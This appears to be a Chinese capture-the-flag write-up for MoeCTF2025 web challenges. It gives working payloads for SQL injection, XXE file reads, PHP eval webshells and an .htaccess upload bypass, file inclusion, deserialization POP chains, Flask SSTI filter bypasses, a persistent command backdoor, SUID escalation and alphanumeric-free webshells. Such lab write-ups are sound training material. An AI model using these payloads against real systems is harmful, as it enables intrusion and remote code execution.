MoeCTF2025 Web Wp

启动环境需要下载 WebSocket Reflector X 来映射到本地(西电CTF特供)

除了一些不喜欢的()都可以做

Week1

00 Web入门指北

下载txt文件,说要在控制台输入,那就F12开控制台,输入后回车即可

01 第一章 神秘的手镯

F12查看源码,可以发现有JS文件,打开发现flag

02 第二章 初识金曦玄轨

查看源码,可以发现让我们查看 /gloden_trail,由提示可知查看请求包,则打开网络再刷新即可看见flag

03 第三章 问剑石!篡天改命!

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script>
async function testTalent() {
try {
const response = await fetch('/test_talent?level=B', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ manifestation: 'none' })
});

const data = await response.json();
document.getElementById('result').textContent = data.result;

// 显示/隐藏光芒效果
const glow = document.getElementById('glow');
if (data.result.includes('流云状青芒')) {
glow.style.opacity = '1';
} else {
glow.style.opacity = '0';
}

if (data.flag) {
setTimeout(() => {
alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`);
}, 500);
}
} catch (error) {
alert('玄轨连接中断!请检查灵枢...');
}
}
</script>

发现你POST的时候会自带Level和manifestation,然后看题目有说 问剑石显现天赋:S,光芒:流云状青芒(flowing_azure_clouds)的异象,从而获得宗门重视!直接更改发送即可

04 第四章 金曦破禁与七绝傀儡阵

(史)

第一关:stone_golem?key=xdsec 获得bW9lY3Rme0Mw

第二关:

1
2
3
4
5
POST /cloud_weaver HTTP/1.1
Host: 127.0.0.1:63473


declaration=织云阁=第一

获得bjZyNDd1MTQ3

第三关:

1
2
3
4
GET /shadow_stalker HTTP/1.1
Host: 127.0.0.1:63473

X-Forwarded-For:127.0.0.1

获得MTBuNV95MHVy

第四关:

更改User-Agent为moe browser 获得X2g3N1BfbDN2

第五关:

增加Cookie:user=xt 获得M2xfMTVfcjM0

第六关:

增加Referer:http://panshi/entry 获得bGx5X2gxOWgh

第七关:

1
2
3
4
PUT /void_rebirth HTTP/1.1
Host: 127.0.0.1:10929

新生!

获得fQ==

然后拼起来base64解码即可

1
2
3
bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==

moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

05 第五章 打上门来!

看到路径,想到路径穿越

06 第六章 藏经禁制?玄机初探!

直接爆破账号密码即可

07 第七章 灵蛛探穴与阴阳双生符

省流:有这样一个文件,它是一个存放在网站根目录下的纯文本文件,用于告知搜索引擎爬虫哪些页面可以抓取,哪些页面不应被抓取。它是网站与搜索引擎之间的 “协议”,帮助网站管理爬虫的访问行为,保护隐私内容、节省服务器资源或引导爬虫优先抓取重要页面

可知是robots.txt

直接访问即可,然后发现flag.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');

$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";

if($a == $b){
die("error 1");
}

if(md5($a) != md5($b)){
die("error 2");
}

echo $flag; error 1

==弱比较则输入 ?a=s878926199a&b=s155964671a

08 第八章 天衍真言,星图显圣

先交叉爆破发现admin登录成功

然后用成功的代码测试注入点,发现注入点在username,直接SQLMAP一把梭

手注一开始的代码可以为:

1
1‘ UNION ALL SELECT CONCAT(database(),1),NULL -- -

然后回显Welcome+xxx

剩下的根据题目来看就是简单的联合查询,也没有过滤什么其他的,以下为查表名命令

1
1' union select group_concat(table_name),NULL from information_schema.tables where table_schema = database()-- -

Moe笑传之猜猜爆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
let randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000
const guesses = document.querySelector('.guesses');
const lastResult = document.querySelector('.lastResult');
const lowOrHi = document.querySelector('.lowOrHi');
const guessBtn = document.getElementById('guessBtn');
const guessField = document.getElementById('guessField');

let guessCount = 1;
let resetButton;

function checkGuess() {
let userGuess = Number(guessField.value);
if(guessCount === 1) {
guesses.textContent = '上次猜的数:';
}
guesses.textContent += userGuess + ' ';

if(userGuess === randomNumber) {
lastResult.textContent = '恭喜你!猜对了!';
lastResult.style.backgroundColor = 'green';
lowOrHi.textContent = '';
guessField.disabled = true;
guessBtn.disabled = true;
// 猜对后请求flag
fetch('/flag', {method: 'POST'})
.then(res => res.json())
.then(data => {
document.querySelector('.flagResult').textContent = "FLAG: " + data.flag;
});
setGameOver();
} else {
lastResult.textContent = '!!!游戏结束!!!';
lastResult.style.backgroundColor = 'red';
if(userGuess < randomNumber) {
lowOrHi.textContent = '你刚才猜低了!';
} else if(userGuess > randomNumber) {
lowOrHi.textContent = '你刚才猜高了!';
}
guessField.disabled = true;
guessBtn.disabled = true;
setGameOver();
}

guessCount++;
guessField.value = '';
guessField.focus();
}
guessBtn.addEventListener('click', checkGuess);

function setGameOver() {
resetButton = document.createElement('button');
resetButton.textContent = '开始新游戏';
document.body.appendChild(resetButton);
resetButton.addEventListener('click', resetGame);
}

function resetGame() {
guessCount = 1;
const resetParas = document.querySelectorAll('.resultParas p');
for(let i = 0; i < resetParas.length; i++) {
resetParas[i].textContent = '';
}
resetButton.parentNode.removeChild(resetButton);

guessField.disabled = false;
guessBtn.disabled = false;
guessField.value = '';
guessField.focus();

lastResult.style.backgroundColor = 'white';

randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000
}

查看源码,发现需要满足userGuess === randomNumber

不妨直接在控制台尝试

Week2

09 第九章 星墟禁制·天机问路

本来以为是SSRF,没想到是RCE的拼接

1
127.0.0.1 | env

10 第十章 天机符阵 & 天机符阵 _revenge

上来随便输入一点可以看到报错信息:

1
2
3
4
5
<br />
<b>Warning</b>: DOMDocument::loadXML(): Start tag expected, '&lt;' not found in Entity, line: 1 in <b>/var/www/html/chapter10.php</b> on line <b>17</b><br />
<阵枢>引魂玉</阵枢>
<解析>未定义</解析>
<输出>未定义</输出>

这看起来就是让我们输入XML文档,然后我们看到,有解析和输出标签,不如就用这两个包裹,就有了以下的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE ANY [
<!ENTITY XXE SYSTEM "file:///var/www/html/flag.txt">
]>
<user>
<输出>
&XXE;
</输出>
<解析>
123
</解析>
</user>


<!--
<阵枢>引魂玉</阵枢>
<解析>
123
</解析>
<输出>
flag:moectf{G00d_7o6_4nD_XX3_Unl0ck_St4r_S34l}
</输出>
-->

之后的天机符阵 _revenge应该是因为把flag.txt放在了html下导致可以直接访问的非预期,所以上面的就用不了了,在根目录读取即可

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE ANY [
<!ENTITY XXE SYSTEM "file:///flag.txt">
]>
<user>
<输出>
&XXE;
</输出>
<解析>
123
</解析>
</user>

11 第十一章 千机变·破妄之眼

省流:HDdss看到了 GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入

看到这个省流,直接爆破顺序(猜测是重定向)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import itertools
import requests

url = "http://127.0.0.1:36177/?"

chars = ['m', 'n', 'o', 'p', 'q']

perms = itertools.permutations(chars)

for p in perms:
query = ''.join(p)
try:
res = requests.get(url, params={query: query}, timeout=5)

# 判断重定向
if res.history:
print(f"[Redirected] query={query}")
print(f"Final URL: {res.url}")

except requests.exceptions.RequestException as e:
print(f"Request failed for {query}: {e}")

#[Redirected] query=npmqo
#Final URL: http://127.0.0.1:36177/find.php

然后伪协议读取flag.php

php://filter/read=convert.base64-encode/resource=flag.php

(后端代码应该类似以下)

12 第十二章 玉魄玄关·破妄

1
2
3
4
<?php
highlight_file(__FILE__);
@eval($_POST['cmd']);

蚁剑直接密码cmd即可连接,然后在/proc/1/environ也就是环境变量中找的flag

13 第十三章 通幽关·灵纹诡影

(不会图片上传喵)

14 第十四章 御神关·补天玉碑

.htaccess 文件或者称为分布式配置文件,它是 Apache 服务器中的配置文件,提供了针对每个目录设置不同的配置的方法。有些服务器在上传认证时没有拦截.htaccess文件上传,就会造成恶意用户利用上传 .htaccess 文件解析漏洞,来绕过验证进行上传WEBShell

上传.htaccess文件:

1
2
3
<FilesMatch "a.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传a.jpg

1
2
3
<?php
@eval($_POST['a']);
?>

蚁剑连接a.jpg所在目录即可

摸金偶遇FLAG,拼尽全力难战胜

把源码扔给ai分析写个脚本直接获取密码然后提交,控制台运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
fetch("/get_challenge?count=9")
.then(res => res.json())
.then(data => {
console.log("获取挑战数据:", data.numbers.join(''));
return fetch("/verify", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
answers: data.numbers,
token: data.token
})
}).then(res => res.json());
})
.then(data => {
if (data.correct) {
console.log("FLAG: %c" + data.flag, "font-size: 16px; color: green;");
alert("FLAG: " + data.flag);
} else {
console.log("验证失败:", data.message);
}
})
.catch(err => console.error("请求失败:", err));

Week3

(这一周考点有点难评)

15 第十五章 归真关·竞时净魔

(也许不是下面的,希望被打脸,因为我电脑尝试条件竞争风扇就转的飞起)

不想做,看到这个图片上传的描述倒是可以提供一点思路(如果每个)

打条件竞争,看到《遇到不符合的立刻删除》,想到了经典函数unlink

通过不断上传文件和不断访问上传的文件,利用保存和删除之间的时间差,来达到一个竞争的效果

文件内容应为将shell写入另一个文件

但是这题的名字是重命名过的,有另一种条件竞争:(图片马)

上传后会进行重命名,所以我们就竞争上传后改名前的这一段时间进行操作,bp抓包多重复访问(访问使用文件包含)

1
<?php file_put_contents('../webshell.php', '<?php eval($_POST["cmd"]); ?>'); ?>

16 第十六章 昆仑星途

给了源文件,看看:

1
2
3
4
5
#!/bin/bash
#entrypoint.sh
echo $FLAG > /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 30).txt
unset FLAG
apache2-foreground

index.php

1
2
3
4
5
<?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php");

php.ini

1
2
3
[PHP]
allow_url_fopen = On
allow_url_include = On

sh文件告诉我们,把环境变量里的flag输出到一个由字母和数字随机生成的文件里,然后立马删除FLAG,所以我们不能想当然的读flag.php这种的,需要看根目录

然后这边用了一个includeallow_url_include = On,可以使用data://协议,include(data://)只执行<?php ?>中的内容,这样我们就可以查看根目录了

1
2
?file=data://text/plain,<?php system("ls /");?>
#cat /flag-8gtv71uP6FvQfD0AQEExnhveeDZij8.txt

17 第十七章 星骸迷阵·神念重构

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}

非常简单的反序列化,A销毁时触发__destruct()执行eval函数

1
2
3
4
5
6
7
8
9
<?php

class A {
public $a = "system('cat /flag');";
}

$a = new A();

echo serialize($a);

18 第十八章 万卷诡阁·功法连环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);

class PersonA {
private $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

if(isset($_GET['person'])) {
unserialize($_GET['person']);
}

加了个pop链的反序列化,PersonA::__wakeup() 会在反序列化后立即触发,PersonA->name 指向一个 PersonB 对象,PersonB->work() 会把 $this->name 当作 PHP 代码执行,最终 eval($this->name)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class PersonA {
private $name;
function __construct() {
$b = new PersonB();
$b->name = 'system("cat /flag*");';
$this->name = $b;
}
}

$obj = new PersonA();
echo urlencode(serialize($obj));

#O%3A7%3A%22PersonA%22%3A1%3A%7Bs%3A13%3A%22%00PersonA%00name%22%3BO%3A7%3A%22PersonB%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A21%3A%22system%28%22cat+%2Fflag%2A%22%29%3B%22%3B%7D%7D

19 第十九章 星穹真相·补天归源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
highlight_file(__FILE__);

class Person
{
public $name;
public $id;
public $age;

public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}

class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$age = $this->age;
$name->$id($age);
}
}

class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}
}

class PersonC extends Person
{
public function __Check($age)
{
if(str_contains($this->age . $this->name,"flag"))
{
die("Hacker!");
}
$name = $this->name;
$name($age);
}

public function __wakeup()
{
$age = $this->age;
$name = $this->id;
$name->age = $age;
$name($this);
}
}

if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}

看revenge就好,因为这题写错了,不需要用到PersonB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Person { public $name; public $id; public $age; }
class PersonA extends Person { /* ... */ }
class PersonB extends Person { /* ... */ }
class PersonC extends Person { /* ... */ }

$b = new Person();

$c = new PersonC();
$c->name = "system";
$c->id = $b;

$a = new PersonA();
$a->name = $c;
$a->id = "__Check";
$a->age = "cat /flag";

echo serialize($a);
?>

19 第十九章_revenge

(为什么喜欢搞这个继承……)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
highlight_file(__FILE__);

class Person
{
public $name;
public $id;
public $age;
}

class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$name->$id($this->age);
}
}

class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}

public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}

class PersonC extends Person
{
public function check($age)
{
$name=$this->name;
if($age == null)
{
die("Age can't be empty.");
}
else if($name === "system")
{
die("Hacker!");
}
else
{
var_dump($name($age));
}
}

public function __wakeup()
{
$name = $this->id;
$name->age = $this->age;
$name($this);
}
}

if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}

我们可以看到,PersonC有个wakeup需要触发,但是从下面wakeup可以看到,需要满足$name得到的是一个对象(类),但是结合POP链来看,wakeup属于开头,所以需要一个对象,来满足这个wakeup的触发,剩下的就是正常的POP链过程(wakeup -> invoke -> destruct -> check)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Person { public $name; public $id; public $age; }
class PersonA extends Person { }
class PersonB extends Person { }
class PersonC extends Person { }

$b = new PersonB();

$c = new PersonC();
$c->name = "passthru";
$c->id = $b;

$a = new PersonA();
$a->name = $c;
$a->id = "check";
$a->age = "env";

echo serialize($a);
?>

Week4

20 第二十章 幽冥血海·幻语心魔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')

if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
</div>
""")
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

用render_template_string,一眼SSTI,随便挑个payload打一下就是了

1
{%print(lipsum['__=glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('so'[::-1])['po'+'pen']('cat /flag')|attr('read')())%}

21 第二十一章 往生漩涡·言灵死局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)

blacklist = ["__", "global", "{{", "}}"]

@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')

if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎:{username}</div></div>
</div>
""")

for blk in blacklist:
if blk in username:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>Error</div></div>
</div>
"""
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

就只是个revenge,编码一下就好了

1
2
3
4
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("so"[::-1])|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}


##{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

22 第二十二章 血海核心·千年手段

这是新生赛吗

他执行完之后这个返回值没有用到

最终返回的是这个login_msg

login_msg的内容是这个,所以是原样输出了,可以理解成这里是个盲ssti,没有回显的

https://blog.csdn.net/2301_80552914/article/details/144565609?sharetype=blog&shareId=144565609&sharerefer=APP

1
?username={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}&password=1&cmd=ls /

进去之后尝试cat /flag没有回显,可以通过ls -al /来看有没有权限,后面就是提权问题了,可以发现/bin下有一个rev.c

cat一下可以看到里面的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include 
#include
int main(int argc, char **argv)
{
for(int i = 1; i + 1 < argc; i++)
{
if (strcmp("--HDdss", argv[i]) == 0)
{
execvp(argv[i + 1], &argv[i + 1]);
}
}
return 0;
}

又通过查看SUID命令:find / -user root -perm -4000 -print 2>/dev/null

1
/usr/bin/rev /usr/bin/mount /usr/bin/passwd /usr/bin/su /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/umount /usr/bin/newgrp /usr/bin/sudo

这里可以看到rev具有SUID权限,又结合rev.c的内容,因此可以有以下payload:

1
/bin/rev --HDdss cat /flag

这是…Webshell?

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
$shell = $_GET['shell'];
if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
eval($shell);
} else {
echo "Hacker!";
}
}
?>

过滤了数字和字母,有点恶心,但是看这篇就够了

老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户

1
2
3
shell=%24__%3d(%27%3e%27%3e%27%3c%27)%2b(%27%3e%27%3e%27%3c%27)%3b%24_%3d%24__%2f%24__%3b%24____%3d%27%27%3b%24___%3d%e7%9e%b0%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%e5%92%8c%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%e5%92%8c%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%e7%9a%84%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%e5%8d%8a%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%e5%a7%8b%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24_____%3d_%3b%24___%3d%e4%bf%af%3b%24_____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%e7%9e%b0%3b%24_____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%e6%ac%a1%3b%24_____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%e7%ab%99%3b%24_____.%3d%7e(%24___%7b%24_%7d)%3b%24_%3d%24%24_____%3b%24____(%24_%5b%24__%5d)%3b

2=system('cat /flag.txt');

这是…Webshell?_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

if (isset($_GET['shell'])) {
$shell = $_GET['shell'];
if (strlen($shell) > 30) {
die("error: shell length exceeded");
}
if (preg_match("/[A-Za-z0-9_$]/", $shell)) {
die("error: shell not allowed");
}
eval($shell);
}

无字母数字webshell之提高篇 | 离别歌

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://127.0.0.1:46846/"

params = {
"shell":"?><?=`. /???/????????[@-[]`;?>"
}

file = {
'file':("1.txt","#!/bin/sh\n cat /flag","text/plain")
}

for i in range(1,20):
res = requests.post(url=url, params=params, files=file)
if "ctf" in res.text:
print(res.text)
break